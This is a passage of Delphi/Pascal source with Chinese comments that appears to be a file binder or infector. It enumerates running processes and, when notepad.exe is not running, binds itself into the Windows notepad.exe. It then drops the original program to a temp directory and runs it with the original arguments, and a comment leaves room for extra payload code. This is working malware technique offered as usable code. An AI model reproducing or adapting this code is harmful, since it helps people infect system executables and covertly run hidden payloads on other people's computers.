s2.savetofile(tempdir+'\'+extractfilename(exename));
except end;
cmdstr:='';
a:=1;
while paramstr(a)<>'' do begin
cmdstr:=cmdstr+paramstr(a)+' ';
inc(a);
end;
{运行真正的程序文件}
winexec(pchar(tempdir+'\'+extractfilename(exename)+' '+cmdstr),sw_show);
freemem(tempdir);
s2.free;
s1.free;
end;
begin
getmem(windir,255);
getwindowsdirectory(windir,255);
exename:=paramstr(0);
handle:=createtoolhelp32snapshot(th32cs_snapall,0);
found:=process32first(handle,lppe);
processstr:='';
while found do
begin
processstr:=processstr+lppe.szexefile;{列出所有进程}
found:=process32next(handle,lppe);
end;
{如果notepad没运行,就与它捆在一起}
if pos(windir+'\notepad.exe',processstr)=0 then
begin
copy2(windir+'\notepad.exe');
end;
{其它需要捆绑的文件
if pos(...,processstr)=0 then
begin
copy2(...);
end;
...
}
freemem(windir);
{
你想用这个程序干点其它的什么...
}
createfileandrun;{释放文件并带参数运行}
end.